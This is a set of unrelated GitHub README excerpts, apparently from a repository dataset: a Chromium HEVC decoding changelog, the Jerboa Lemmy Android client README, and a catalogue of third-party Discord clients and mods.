`2023-09-23` Fix 10bit video playback issues for AMD GPU on Windows platform (black screen when playing HLG video in SDR mode, 4K freezes, high memory usage, color change when switching full-screen, crash when playing SDR video in HDR mode, Chrome >= `119.0.6022.0`)
`2023-08-21` Add HEVC Rext 8bit 422 support on Windows (Chrome >= `118.0.5956.0`)
`2023-07-28` Fixed latency issue with WebCodecs VideoDecoder implementation for H265 on Windows (detail: https://github.com/w3c/webcodecs/issues/698, Chrome >= `117.0.5913.0`)
`2023-07-20` Add HEVC HW WebCodecs encoding support for Android 10+ (Chrome >= `117.0.5899.0`)
`2023-07-16` Apple Silicon + macOS 14 = adds HEVC SVC (L1T2) WebCodecs encoding support (Chrome >= `117.0.5891.0`)
`2023-07-07` Fixed 8bit HDR HEVC playback failure issue under Windows (Chrome >= `117.0.5877.0`)
`2023-07-02` Add HEVC Rext 8bit 444, 12bit 422, 12bit 444 support on Windows (Chrome >= `117.0.5866.0`)
`2023-02-22` Android platform now able to use the support detection API to detect the correct support status of different devices (Chrome >= `112.0.5612.0`)
`2023-02-17` Update Widevine L1 HEVC / Dolby Vision support detect method
`2023-02-14` Android platform now allows H264 / HEVC / VP9 / AV1 to be played at the maximum resolution supported by the device. Previously all Codecs only supported the hard-coded 4K. Now as long as the device supports it, it can support 8K or even higher resolutions (Chrome > = `112.0.5594.0`)
`2023-02-11` Allow invalid colorspace (primary, matrix, transfer) video to play instead of block the whole playback (Chrome >= `112.0.5589.0`)
`2022-12-03` Fixed the incomplete SEI parsing logic, and supported the extraction of HDR Metadata both from the bitstream and container. This will solved the problem that some HDR10 videos could not extract static hdr metadata and guarantee the best HDR performance (Chrome >= `110.0.5456.0`)
`2022-11-18` Fix a bug if D3D11VideoDecoder is disabled by gpu workaround, support detection API still report "supported" (M110, M109)
`2022-11-03` Add macOS WebCodec HEVC encode support, decrease 50% GPU memory usage when playing HDR content on SDR screen on Windows, and improved HDR tone mapping color accuracy on Windows as well
`2022-10-28` Edge (Mac) >= 107 enable by default
`2022-10-25` Chrome >= 107 enable by default + Windows WebCodec Encode support
`2022-10-11` Add Linux HEVC HW decoding support (Chrome >= `108.0.5354.0`)
`2022-10-09` HEVC with alpha (macOS only) support decoding with WebCodec API and preserve it's alpha layer
`2022-10-08` Add HDR10 Metadata extract logic, support WebCodec >= 10bits
`2022-09-26` Add a SW decoding auto-gen patch script
`2022-09-15` Fix crash for Intel 11/12 Gen iGPU when play HDR video in system HDR mode, improve the accuracy of MediaCapabilities API, Update Patch to `107.0.5303.0`
`2022-09-14` Chrome Canary >= `107.0.5300.0` has enabled HEVC HW decoder by default, official version will be available after `2022-10-25`
`2022-09-08` Guarantee the detection API's result (Chrome >= `107.0.5288.0`), and update the detection methods
`2022-08-31` Add WebCodec API (8bit only) support, and HEVC with alpha layer support (macOS only)
`2022-08-06` Update usage to Edge (Mac) 104 release version
`2022-08-02` Update usage to Chrome 104 release version
`2022-08-01` Add Chrome / Edge Usage
`2022-07-31` Intel GPU support HEVC Rext Profile hw decoding on Windows, Update Patch to `106.0.5211.0`
`2022-07-15` Update Electron v20.0.0-beta.9 and above version support status
`2022-06-21` Update Microsoft Edge (Mac) feature test guide
`2022-06-18` Fix HLG/PQ tone mapping, and update Patch to `105.0.5127.0`
`2022-06-17` Remove Linux support, Update Other Platform and HDR support status
`2022-05-26` Update Chrome Canary HEVC feature test guide
`2022-05-25` Update Chrome 104 support status, and Electron 20 enable method
`2022-05-24` Update Patch to `104.0.5080.1`
`2022-05-23` Add CDM compile guide, and update Patch to `104.0.5077.1`
`2022-05-17` Update detail of tech implement and guide to integrate into electron
`2022-05-14` Update Patch to `104.0.5061.1`
`2022-05-13` Add HEVC Test page
`2022-05-10` Update README, add more special detail of the hardware support and GPU models
`2022-05-05` Add support for MSP & Rext on macOS, and fix the issue that some HDR & Rec.709 Main10 video can't be hw decoded on Windows
`2022-04-27` Replace to `git am` patch
`2022-04-24` Support chinese README
`2022-04-21` Add Crbug trace
`2022-04-20` Modify README
`2022-04-19` Initial commit
## Trace Crbug
##### [Windows](https://crbug.com/1286132)
##### [macOS](https://crbug.com/1300444)
## License
MIT
| A guide that teach you enable hardware HEVC decoding & encoding for Chrome / Edge, or build a custom version of Chromium / Electron that supports hardware & software HEVC decoding and hardware HEVC encoding. | chrome,hevc,hardware-decode,electron | 13 | 2 | 1 | 103 | 7 | 1 | 0 |
LemmyNet/jerboa | <div align="center">
[](https://woodpecker.join-lemmy.org/LemmyNet/jerboa)
[](https://github.com/LemmyNet/jerboa/issues)
[](LICENSE)
</div>
<p align="center">
<a href="https://github.com/LemmyNet/jerboa" rel="noopener">
<img width=200px height=200px src="https://raw.githubusercontent.com/LemmyNet/jerboa/main/app/src/main/res/jerboa.svg"></a>
<h3 align="center"><a href="https://github.com/LemmyNet/jerboa">Jerboa</a></h3>
<p align="center">
An Android client for <a href="https://github.com/LemmyNet/lemmy">Lemmy</a>, a federated reddit alternative
<br />
<br />
<a href="https://join-lemmy.org">Join Lemmy</a>
ยท
<a href="https://github.com/LemmyNet/jerboa/issues">Report Bug</a>
ยท
<a href="https://github.com/LemmyNet/jerboa/issues">Request Feature</a>
ยท
<a href="https://github.com/LemmyNet/jerboa/blob/main/RELEASES.md">Releases</a>
</p>
<p align="center">
<a href="https://apt.izzysoft.de/fdroid/index/apk/com.jerboa"><img src="https://gitlab.com/IzzyOnDroid/repo/-/raw/master/assets/IzzyOnDroid.png" alt="Get it on IzzyOnDroid" height="80"></a>
<a href="https://f-droid.org/packages/com.jerboa"><img src="https://fdroid.gitlab.io/artwork/badge/get-it-on.png" alt="Get it on F-Droid" height="80"></a>
<a href="https://play.google.com/store/apps/details?id=com.jerboa"><img src="https://cdn.rawgit.com/steverichey/google-play-badge-svg/master/img/en_get.svg" height="80"></a>
<a href="https://github.com/LemmyNet/jerboa/releases/latest"><img src="https://raw.githubusercontent.com/andOTP/andOTP/master/assets/badges/get-it-on-github.png" height="80"></a>
</p>
</p>
## About Jerboa
| Homepage | Post & Comments |
| -------------------------------------------------------------------------- | ------------------------------------------------------------------------ |
|  |  |
Jerboa is a native-android client for Lemmy, built using the native Android Toolkit, Jetpack Compose.
**Warning**: You can submit issues, but between Lemmy and lemmy-ui, I probably won't have too much time to work on them. Learn jetpack compose like I did if you want to help make this app better.
### Built With
- [Android Jetpack Compose](https://developer.android.com/jetpack/compose)
- [Kotlin](https://kotlinlang.org/)
- [Retrofit](https://square.github.io/retrofit/)
## Features
- Open source, [AGPL License](/LICENSE).
## Installation / Releases
- [Releases](https://github.com/LemmyNet/jerboa/releases)
- [IzzyOnDroid](https://apt.izzysoft.de/fdroid/index/apk/com.jerboa)
- [F-Droid](https://f-droid.org/en/packages/com.jerboa/)
- [Google Play](https://play.google.com/store/apps/details?id=com.jerboa)
## Support / Donate
Jerboa is made by Lemmy's developers, and is free, open-source software, meaning no advertising, monetizing, or venture capital, ever. Your donations directly support full-time development of the project.
Jerboa and Lemmy are made possible by a generous grant from the [NLnet foundation](https://nlnet.nl/).
- [Support on Liberapay](https://liberapay.com/Lemmy).
- [Support on OpenCollective](https://opencollective.com/lemmy).
- [Support on Patreon](https://www.patreon.com/dessalines).
- [List of Sponsors](https://join-lemmy.org/donate).
### Crypto
- bitcoin: `1Hefs7miXS5ff5Ck5xvmjKjXf5242KzRtK`
- ethereum: `0x400c96c96acbC6E7B3B43B1dc1BB446540a88A01`
- monero: `41taVyY6e1xApqKyMVDRVxJ76sPkfZhALLTjRvVKpaAh2pBd4wv9RgYj1tSPrx8wc6iE1uWUfjtQdTmTy2FGMeChGVKPQuV`
## Contact
- [Mastodon](https://mastodon.social/@LemmyDev)
- [Jerboa dev chat](https://matrix.to/#/#jerboa-dev:matrix.org)
- [Lemmy chat](https://matrix.to/#/#lemmy:matrix.org)
## Credits
Icons made by [Freepik](https://www.freepik.com) from [www.flaticon.com](https://www.flaticon.com).
| A native android app for Lemmy | activitypub,android,android-application,lemmy,link-aggregator,mobile-app | 63 | 97 | 722 | 916 | 104 | 224 | 0 |
Discord-Client-Encyclopedia-Management/Discord3rdparties | # Discord Client Encyclopedia
<p align="center">
<a href="https://discord.gg/3kv5yzTYQE">
<img alt="Discord" src="https://img.shields.io/discord/1044501553731600414?color=%7767d2&label=Support%20Server&logo=discord&logoColor=%cd67d2&style=for-the-badge">
</a>
</p>
<p align="center">
<img alt="GitHub Repo stars" src="https://img.shields.io/github/stars/Discord-Client-Encyclopedia-Management/Discord3rdparties?color=ec9c36&logo=github&style=for-the-badge">
<img alt="GitHub forks" src="https://img.shields.io/github/forks/Discord-Client-Encyclopedia-Management/Discord3rdparties?color=ec365a&logo=github&style=for-the-badge">
<a href="https://github.com/Discord-Client-Encyclopedia-Management/Discord3rdparties/blob/main/LICENSE">
<img alt="License" src="https://img.shields.io/github/license/Discord-Client-Encyclopedia-Management/Discord3rdparties?style=for-the-badge">
</a>
</p>
A non-exhaustive collection of third-party clients and mods for Discord.
## Table of Contents
- [Discord Client Encyclopedia](#discord-client-encyclopedia)
- [Table of Contents](#table-of-contents)
- [Mobile](#mobile)
- [Android Clients \& Mods](#android-clients--mods)
- [iOS Clients \& Mods](#ios-clients--mods)
- [Desktop](#desktop)
- [Official Clients](#official-clients)
- [Mods](#mods)
- [Plugin bundlers](#plugin-bundlers)
- [Third-Party Reimplementations](#third-party-reimplementations)
- [Console clients](#console-clients)
- [Other clients](#other-clients)
- [Third party server implementations](#third-party-server-implementations)
- [Contributing](#contributing)
- [Further comments](#further-comments)
- [Disclaimer](#disclaimer)
## Mobile
### Android Clients & Mods
| Name | Features | Language(s) | Development Status |
| :---: | :---: | :---: | :---: |
| [Discord Android](https://play.google.com/store/apps/details?id=com.discord&fingerprint=1129189278619021403._iqMp85lJ8wwcey3i6XvuHeKLYA&attemptId=a267ef68-ca9f-435f-99a6-f6a11875cf6c) | Official Android client | [Closed source] | ๐ข Active |
| [Aliucord](https://github.com/Aliucord/Aliucord) | A modification for the Android Discord app | [![Java][Java-Badge]][Java-Url] [![Kotlin][Kotlin-Badge]][Kotlin-Url] [![Dart][Dart-Badge]][Dart-Url] | ๐ต Active *(Out of date[^1]\)* |
| [Bunny](https://github.com/pyoncord/Bunny) | A mod for Discord's mobile apps, fork of Vendetta. | [![TypeScript][TypeScript-Badge]][TypeScript-Url] | ๐ข Active |
| [VendroidEnhanced](https://github.com/VendroidEnhanced/Vendroid) | VendroidEnhanced is a fork of [Vencord/Vendroid](https://github.com/Vencord/Android) that improves upon the original project. | [![Kotlin][Kotlin-Badge]][Kotlin-Url] [![JavaScript][JavaScript-Badge]][JavaScript-Url] | ๐ข Active |
| [Vendroid](https://github.com/Vencord/Vendroid) | Vencord for Android! A WebView embedding the Discord site, loading Vencord and adding some goodies. | [![Java][Java-Badge]][Java-Url] [![JavaScript][JavaScript-Badge]][JavaScript-Url] | ๐ข Active |
| [Revenge](https://github.com/revenge-mod/Revenge) | A modification for Discord mobile apps. | [![TypeScript][TypeScript-Badge]][TypeScript-Url] | ๐ด Discontinued |
| [Vendetta](https://github.com/vendetta-mod/Vendetta) | A Discord mod that is compatible with Android and iOS! | [![TypeScript][TypeScript-Badge]][TypeScript-Url] | ๐ด Discontinued |
| [CutTheCord](https://gitdab.com/distok/cutthecord) | Modular Client Mod for Discord's Android app. | [![Python][Python-Badge]][Python-Url] [![Java][Java-Badge]][Java-Url] | ๐ด Discontinued |
| [OpenCord](https://github.com/X1nto/OpenCord) | An open-source implementation of the Discord Android app | [![Kotlin][Kotlin-Badge]][Kotlin-Url] | ๐ด Discontinued |
| [OpenCord ACTIVE EDITION](https://github.com/topminipie/OpenCord) | An open-source implementation of the Discord Android app | [![Kotlin][Kotlin-Badge]][Kotlin-Url] | ๐ข Active |
| [Treecord](https://github.com/Treecord/Treecord) | A modded Discord client for Android! | [![Shell Script][Shell Script-Badge]][Shell Script-Url] | ๐ด Discontinued |
| Bluecord | Modded client mod for Android | [Closed source] | โ Malware (scams and spying) |
### iOS Clients & Mods
| Name | Features | Language(s) | Development Status |
| :---: | :---: | :---: | :---: |
| [Discord iOS](https://apps.apple.com/us/app/discord-chat-talk-hangout/id985746746) | Official iOS client | [Closed source] | ๐ข Active |
| [Enmity](https://enmity.unbound.rip/) | The power of addons, all in your hand. | [![TypeScript][TypeScript-Badge]][TypeScript-Url] | ๐ข Active |
| [Bunny](https://github.com/pyoncord/Bunny) | A mod for Discord's mobile apps, fork of Vendetta. | [![TypeScript][TypeScript-Badge]][TypeScript-Url] | ๐ข Active |
| [Revenge](https://github.com/revenge-mod/Revenge) | A modification for Discord mobile apps. | [![TypeScript][TypeScript-Badge]][TypeScript-Url] | ๐ด Discontinued |
| [Vendetta](https://github.com/vendetta-mod/Vendetta) | A Discord mod that is compatible with Android and iOS! | [![TypeScript][TypeScript-Badge]][TypeScript-Url] | ๐ด Discontinued |
| [Discord Classic](https://github.com/cellomonster/iOS-Discord-Classic) | A bare-bones Discord client for iOS 5 and 6. | [![Objective-C][Objective-C-Badge]][Objective-C-Url] | ๐ด Discontinued |
## Desktop
### Official Clients
| Name | Link | Infos |
| :---: | :---: | :---: |
| [Discord](https://discord.com) | [Web](https://discord.com/app), [Windows](https://discord.com/api/download/stable?platform=win), [macOS](https://discord.com/api/download/stable?platform=osx), [Debian/Ubuntu](https://discord.com/api/download/stable?platform=linux), [Tarball](https://discord.com/api/download/stable?platform=linux&format=tar.gz) | Main software |
| [Discord PTB](https://ptb.discord.com) | [Web](https://ptb.discord.com/app), [Windows](https://discord.com/api/download/ptb?platform=win), [macOS](https://discord.com/api/download/ptb?platform=osx), [Debian/Ubuntu](https://discord.com/api/download/ptb?platform=linux), [Tarball](https://discord.com/api/download/ptb?platform=linux&format=tar.gz) | Public Test Build |
| [Discord Canary](https://canary.discord.com) | [Web](https://canary.discord.com/app), [Windows](https://discord.com/api/download/canary?platform=win), [macOS](https://discord.com/api/download/canary?platform=osx), [Debian/Ubuntu](https://discord.com/api/download/canary?platform=linux), [Tarball](https://discord.com/api/download/canary?platform=linux&format=tar.gz) | Discord's [canary build](https://semaphoreci.com/blog/what-is-canary-deployment), releases features earlier than PTB |
| Discord Development | [Windows](https://discord.com/api/download/development?platform=win), [macOS](https://discord.com/api/download/development?platform=osx), [Debian/Ubuntu](https://discord.com/api/download/development?platform=linux), [Tarball](https://discord.com/api/download/development?platform=linux&format=tar.gz) | Essentially Discord's canary build but with updates a few days earlier |
### Mods
| Name | Features | Language(s) | Development Status |
| :---: | :---: | :---: | :---: |
| [Aero](https://github.com/aero-mod/aero) | A next-generation Discord mod empowering users and developers alike. | [![TypeScript][TypeScript-Badge]][TypeScript-Url] | ๐ข Active |
| [BeautifulDiscord](https://github.com/leovoel/BeautifulDiscord) | Simple Python script that adds CSS hot-reload to Discord. | [![Python][Python-Badge]][Python-Url] | ๐ข Active |
| [BetterDiscord](https://betterdiscord.app/) | BetterDiscord extends the functionality of DiscordApp by enhancing it with new features. | [![JavaScript][JavaScript-Badge]][JavaScript-Url] | ๐ข Active |
| [DiscoCSS](https://github.com/mlvzk/discocss) | A tiny Discord CSS injector for Linux and Mac OS. | [![Shell Script][Shell Script-Badge]][Shell Script-Url] | ๐ข Active |
| [Kernel](https://github.com/kernel-mod) | A super small and fast Electron client mod with the most capability. | [![TypeScript][TypeScript-Badge]][TypeScript-Url] | ๐ข Active |
| [OpenAsar](https://openasar.dev/) | Alternative `app.asar` for Discord. Makes your client feel snappier. | [![JavaScript][JavaScript-Badge]][JavaScript-Url] [![Nim][Nim-Badge]][Nim-Url] | ๐ข Active |
| [Replugged](https://replugged.dev) | A lightweight Discord client mod focused on simplicity and performance. | [![TypeScript][TypeScript-Badge]][TypeScript-Url] | ๐ข Active |
| [shelter](https://github.com/uwu/shelter) | shelter is a new generation client mod built to be essentially bulletproof (i.e. Discord switch to SWC). | [![TypeScript][TypeScript-Badge]][TypeScript-Url] | ๐ข Active |
| [Vencord](https://github.com/Vendicated/Vencord) | Proper context isolation, inline patches, Custom CSS, Usefulโข plugins | [![TypeScript][TypeScript-Badge]][TypeScript-Url] | ๐ข Active |
| [Vesktop](https://github.com/Vencord/Vesktop) | Vesktop is a cross platform desktop app aiming to give you a snappier Discord experience with Vencord pre-installed | [![TypeScript][TypeScript-Badge]][TypeScript-Url] | ๐ข Active |
| [Cumcord](https://github.com/Cumcord/Cumcord) | Cumcord is a Discord client mod that focuses on making the Discord plugin development experience easier. | [![JavaScript][JavaScript-Badge]][JavaScript-Url] | ๐ข Active |
| [Vizality](https://vizality.com/) | An Discord app client modification, allowing for a truly customizable experience through the use of plugins, themes, and built-in settings. *Runs on web browsers too* | [![JavaScript][JavaScript-Badge]][JavaScript-Url] | ๐ด Discontinued |
| [Hykord](https://github.com/xHyroM/hykord) | xHyroM's @discord client modification. Supports BD themes and is working on BD and PC/RP plugin support. | [![TypeScript][TypeScript-Badge]][TypeScript-Url] [![Zig][Zig-Badge]][Zig-Url] [![JavaScript][JavaScript-Badge]][JavaScript-Url] | ๐ด Discontinued |
| [Crycord](https://crycord.geopjr.dev/) | A Discord Client modification with plugins. Uses BeautifulDiscord's CSS injector. Oh it's also written in Crystal! | [![Crystal][Crystal-Badge]][Crystal-Url] | ๐ On hiatus, since May 2021 |
| [Demoncord](https://git.ruthenic.com/Demon/demoncord-rewrite) | A Discord client mod by satanists, for satanists. |[![JavaScript][JavaScript-Badge]][JavaScript-Url] | ๐ On hiatus, since September 2022 |
| [EnhancedDiscord](https://github.com/joe27g/EnhancedDiscord) | A lightweight Discord client mod. | [![JavaScript][JavaScript-Badge]][JavaScript-Url] | ๐ด Abandoned |
| Acord Premium | A client you have to pay for that stole its code. | [Closed source] | โ sus behavior (Stolen code) |
| [GooseMod](https://goosemod.com/) | GooseMod is a new, store-driven Discord mod. *Runs on web browsers too* | [![JavaScript][JavaScript-Badge]][JavaScript-Url] | ๐ด Discontinued |
| [HolyMod](https://github.com/HolyMod/HolyMod) | A lightweight client mod focused on simplicity and performance. | [![TypeScript][TypeScript-Badge]][TypeScript-Url] | ๐ด Discontinued |
| [Lightcord](https://github.com/Lightcord/Lightcord) | Lightcord is a simple and customizable client for Discord. It includes BandagedBD, Glasstron and a discord.js-like api. | [![JavaScript][JavaScript-Badge]][JavaScript-Url] [![TypeScript][TypeScript-Badge]][TypeScript-Url] | ๐ด Discontinued, and abandoned |
| [Powercord](https://powercord.dev/) | A lightweight Discord client mod focused on simplicity and performance. | [![JavaScript][JavaScript-Badge]][JavaScript-Url] [![TypeScript][TypeScript-Badge]][TypeScript-Url] | ๐ด Discontinued |
| [Topaz](https://topaz.goosemod.com/) | Topaz is an upcoming mod which aims to be "next-gen" by using advanced tech to add never-before-seen innovative features. *Runs on web browsers too* | [![JavaScript][JavaScript-Badge]][JavaScript-Url] | ๐ด Discontinued |
| [Velocity](https://github.com/Velocity-Discord/Velocity) | Velocity is a Discord Client modification that allows you to extend discord's functionality and capabilities. | [![JavaScript][JavaScript-Badge]][JavaScript-Url] | ๐ด Discontinued |
#### Plugin bundlers
| Name | Features | Language(s) | Development Status |
| :---: | :---: | :---: | :---: |
| [Ittai (AAGaming's fork)](https://git.catvibers.me/Ittai/ittai) | Fork of Ittai that can bundle plugins to BetterDiscord, Powercord and Goosemod, making a plugin cross-platform. | [![JavaScript][JavaScript-Badge]][JavaScript-Url] [![TypeScript][TypeScript-Badge]][TypeScript-Url] | ๐ด Discontinued |
| [Ittai (Original)](https://github.com/Kyza/ittai) | Bundler for BetterDiscord, Powercord and Goosemod, making a plugin cross-platform. | [![JavaScript][JavaScript-Badge]][JavaScript-Url] | ๐ด Discontinued |
| [BetterDiscordBuilder](https://github.com/BetterDiscordBuilder/bdbuilder) | Simplified plugin bundler for BetterDiscord. Supports JSX/TSX and TypeScript | [![JavaScript][JavaScript-Badge]][JavaScript-Url] [![TypeScript][TypeScript-Badge]][TypeScript-Url] | ๐ด Discontinued |
### Third-Party Reimplementations
| Name | Features | Language(s) | Development Status |
| :---: | :---: | :---: | :---: |
| [Abaddon](https://github.com/uowuo/abaddon) | Alternative Discord client made in C++ with GTK | [![C++][C++-Badge]][C++-Url] | ๐ข Active |
| [LibreDiscord](https://gitlab.com/zipdox/librediscord/-/tree/master?ref_type=heads) | LibreDiscord is a free and open source voice and video client for Discord written in C using GTK3 and GLib. | [![C++][C++-Badge]][C++-Url] | ๐ On hiatus |
| [Discord Messenger-DM](https://github.com/DiscordMessenger/dm) |Discord Messenger is a free Discord-compatible messaging client targeting both new and old Windows. | [![C++][C++-Badge]][C++-Url] | ๐ข Active |
| [AeroChat](https://aerochat.live/) | A Discord client themed to look like WLM 09. | [![React][React-Badge]][React-Url] [![TypeScript][TypeScript-Badge]][TypeScript-Url]| ๐ข Active |
| [Armcord](https://github.com/armcord/armcord) | ArmCord is a custom client designed to enhance your Discord experience while keeping everything lightweight. | [![TypeScript][TypeScript-Badge]][TypeScript-Url] | ๐ข Active |
| [ChimeraCord](https://github.com/RoboChimera/ChimeraCord) | A functional but elegant unofficial Discord client for freeBSD, that aims for feature-parity with the official Discord client. | [![JavaScript][JavaScript-Badge]][JavaScript-Url] | ๐ข Active |
| [Datcord](https://github.com/gamingdoom/datcord) | An open-source discord client using firefox. | [![JavaScript][JavaScript-Badge]][JavaScript-Url] | ๐ข Active |
| [Discord-PWA](https://github.com/NeverDecaf/discord-PWA) | A wrapper for the Discord web client as a Progressive Web Application, for use with Chromium based browsers. | [![JavaScript][JavaScript-Badge]][JavaScript-Url] | ๐ข Active |
| [Discord-Sandbox](https://github.com/khlam/discord-sandboxed) | Open-source Sandbox Discord client for the privacy-minded. Say NO to intrusive data collection. | [![JavaScript][JavaScript-Badge]][JavaScript-Url] | ๐ข Active |
| [discord-screenaudio](https://github.com/maltejur/discord-screenaudio) | A custom Discord client that supports streaming with audio on Linux. | [![C++][C++-Badge]][C++-Url] [![JavaScript][JavaScript-Badge]][JavaScript-Url] | ๐ข Active |
| [Discordo](https://github.com/ayntgl/discordo) | A lightweight, secure, and feature-rich Discord terminal client | [![Go][Go-Badge]][Go-Url] | ๐ข Active |
| [Dorion](https://github.com/SpikeHD/Dorion) | Lightweight alternative Discord client with a smaller footprint and some fancy extensible features | [![Rust][Rust-Badge]][Rust-Url] [![JavaScript][JavaScript-Badge]][JavaScript-Url] | ๐ข Active |
| [FeatherCord](https://github.com/OfficiallySp/FeatherCord) | FeatherCord is a lightweight alternative to the Discord client and uses up to 25% less resources compared to the default desktop client. | [Closed source] | ๐ด Discontinued |
| [GoofCord](https://github.com/Milkshiift/GoofCord) | A privacy-focused client with features like message encryption, script loading, and more. Based on ArmCord. | [![TypeScript][TypeScript-Badge]][TypeScript-Url] | ๐ข Active |
| [Dissent](https://github.com/diamondburned/dissent) | Dissent (previously gtkcord4) is a third-party Discord client designed for a smooth, native experience on Linux desktops. | [![Go][Go-Badge]][Go-Url] | ๐ข Active |
| [LemonCord](https://github.com/japandotorg/LemonCord) | A fast & light weight Discord Client made with love using the Rust programming language. | [![Rust][Rust-Badge]][Rust-Url] | ๐ข Active |
| [QTCord](https://github.com/mak448a/QTCord/) | A lightweight Discord client written in Python and QT aiming for a native look and feel. | [![Python][Python-Badge]][Python-Url] | ๐ข Active |
| [RyU](https://github.com/Muunatic/RyU) | Powerful Discord Client written in JavaScript. Lightweight, Efficient, Feature-rich. | [![JavaScript][JavaScript-Badge]][JavaScript-Url] | ๐ข Active |
| [Swiftcord](https://github.com/cryptoAlgorithm/Swiftcord) | A completely native Discord client for macOS built 100% in Swift and SwiftUI! | [![Swift][Swift-Badge]][Swift-Url] | ๐ข Active |
| [WebCord](https://github.com/SpacingBat3/WebCord) | A Discord API-less client made with Electron | [![TypeScript][TypeScript-Badge]][TypeScript-Url] | ๐ต Active *(Variable[^2]\)* |
| [Spacebar Chat](https://spacebar.chat/) | Open source, themeable and extendable discord-compatible native Spacebar client | [![TypeScript][TypeScript-Badge]][TypeScript-Url] | ๐ข Active |
| [Discord Tauri](https://github.com/DiscordTauri/discord-tauri) |A lightweight Discord wrapper made in Tauri | [![Rust][Rust-Badge]][Rust-Url] | ๐ด Discontinued |
| [Disrust](https://github.com/DvorakDwarf/disrust) | A discord TUI client written entirely in Rust | [![Rust][Rust-Badge]][Rust-Url] | ๐ On hiatus, since January 2023 |
| [Accord](https://github.com/evelyneee/accord) | Client for modern Macs | [![Swift][Swift-Badge]][Swift-Url] | ๐ On hiatus, since December 2022 |
| [Unicord](https://github.com/UnicordDev/Unicord) | Discord Client for Windows 10 and Windows 10 Mobile | [![C#][C#-Badge]][C#-Url] | ๐ On hiatus, since April 2022 |
| [NativeCord](https://github.com/andre4ik3/NativeCord) | SSB (site-specific browser) for Discord. In other words, all it does is load Discord as a website... in an app. | [![Swift][Swift-Badge]][Swift-Url] | ๐ On hiatus, since March 2022 |
| [Unofficial-discord-client](https://github.com/Coding-Bunker/unofficial-discord-client) | Unofficial client for discord build in C++ with Qt. | [![C++][C++-Badge]][C++-Url] | ๐ On hiatus, since March 2022 |
| [ToastCord](https://github.com/Traumatism/ToastCord) | Discord Terminal UI made in Python 3 | [![Python][Python-Badge]][Python-Url] | ๐ด Discontinued |
| [Discord Lite](https://github.com/dosdude1/discord-lite) | An ultra-lightweight native Discord client for vintage and modern MacOS | [![Objective-C][Objective-C-Badge]][Objective-C-Url] | ๐ On hiatus, since January 2022 |
| [Mirdorph](https://gitlab.gnome.org/ranchester/mirdorph) | A crappy low feature Discord Client using libadwaita | [![Python][Python-Badge]][Python-Url] | ๐ด Discontinued |
| [Ripcord](https://cancel.fm/ripcord/) | Alternative desktop chat client for Slack (and Discord) designed for power users. | [Closed source] | ๐ On hiatus, since July 2021 |
| [DiscordQt](https://github.com/ruslang02/discord-qt) | A Discord desktop client powered by Node.JS and NodeGui. | [![TypeScript][TypeScript-Badge]][TypeScript-Url] | ๐ด Discontinued |
| [concord](https://github.com/volatide/concord) | Discord client made in Qt5 | [![Python][Python-Badge]][Python-Url] | ๐ด Discontinued |
| [protocord](https://github.com/diamondburned/protocord) | A prototype CLI for a tiny Discord client. | [![Go][Go-Badge]][Go-Url] | ๐ด Discontinued |
| [Pesterchum-Discord](https://github.com/henry232323/Pesterchum-Discord) | A Discord client mimicking the Pesterchum chat client from Homestuck, for the few people who are still interested in that. | [![Python][Python-Badge]][Python-Url] | ๐ด Discontinued |
| [DiscordFlex](https://github.com/ZenithRogue/DiscordFlex) | A custom Discord client built from the ground up. | [![JavaScript][JavaScript-Badge]][JavaScript-Url] [![Vue.js][Vue.js-Badge]][Vue.js-Url] | ๐ด Discontinued |
| [micro-discord](https://github.com/soukouki/micro-discord) | Simple discord client that doesn't use javascript | [![Ruby][Ruby-Badge]][Ruby-Url] | ๐ด Discontinued |
| [Disorder](https://github.com/lexffe/discorder) | Command line discord client | [![Go][Go-Badge]][Go-Url] | ๐ด Discontinued |
| [Fast-Discord](https://github.com/EnyoYoen/Fast-Discord) | Client written in C++ and Qt | [![C++][C++-Badge]][C++-Url] | ๐ด Discontinued |
| [Rikka](https://github.com/rikka-org/Rikka) | Rikka is a fast, powerful, and extendable Discord modification. It can load plugins, manage plugins, and features a rich API. | [![TypeScript][TypeScript-Badge]][TypeScript-Url] [![JavaSript][JavaScript-Badge]][JavaScript-Url] | ๐ด Discontinued |
| [Harmony](https://github.com/hlafaille/Harmony) | A Java-based Discord client. | [![Java][Java-Badge]][Java-Url] | ๐ด Discontinued |
| [6cord](https://6cord.diamondb.xyz/) | A terminal front-end for the Discord chat service | [![Go][Go-Badge]][Go-Url] | ๐ด Discontinued |
| [Terminalcord](https://github.com/xynxynxyn/terminal-discord) | Simple terminal client for discord with a minimal look and UI. | [![JavaScript][JavaScript-Badge]][JavaScript-Url] | ๐ด Discontinued |
| [discord-curses](https://github.com/RX14/discord-curses) | Terminal-based discord client | [![TypeScript][TypeScript-Badge]][TypeScript-Url] | ๐ด Discontinued |
| [Discline](https://github.com/mitchweaver/Discline) | A terminal Discord client that you can actually use. | [![Python][Python-Badge]][Python-Url] | ๐ด Discontinued |
| [GTK3cord](https://github.com/diamondburned/gtkcord3) | A Gtk3 Discord client in Golang | [![Go][Go-Badge]][Go-Url] | ๐ด Discontinued. development shifted to GTK4cord |
| [Discord-Terminal](https://github.com/atlx/discord-term) | An extensible Discord terminal client. Can be used with bot or user tokens. | [![JavaScript][JavaScript-Badge]][JavaScript-Url] | ๐ด Discontinued, Looking for maintainers |
| [Cordless](https://github.com/Bios-Marcel/cordless) | Cordless is a custom Discord client that aims to have a low memory footprint and be aimed at power-users. | [![Go][Go-Badge]][Go-Url] | โ Discontinued, Developer got banned during development |
| [Discord-Lite](https://web.archive.org/web/20221230055539/https://github.com/therealcyber71/Discord-Lite) | A Light-Weight Discord Client written in Python for developers, by developers. | [![Python][Python-Badge]][Python-Url] | ๐ด Discontinued, Developer MIA, repo and account deleted |
| [Voidcord](https://web.archive.org/web/20230517194514/https://github.com/logoskosmos/voidcord) | A lightweight and extendable Discord web client on top of Neutralinojs. | [![JavaScript][JavaScript-Badge]][JavaScript-Url] | ๐ด Discontinued, Developer repo and account deleted |
## Console clients
| Name | Features | Language(s) | Development Status |
| :---: | :---: | :---: | :---: |
| [A-client-for-Discord-for-3DS](https://github.com/XeathJP/A-client-for-Discord-for-3DS) | Applications that can use discord on 3DS | [![C++][C++-Badge]][C++-Url] | ๐ On hiatus, since since January 2022 |
| [crcophony](https://github.com/freyamade/crcophony) | Fast, neat discord TUI written in Crystal (read: cacophony) | [![Crystal][Crystal-Badge]][Crystal-Url] | ๐ On hiatus, since November 2019 |
| [NXCord](https://github.com/Grarak/NXCord) | Unofficial Nintendo Switch Discord client | [![C++][C++-Badge]][C++-Url] | ๐ On hiatus, since April 2020 |
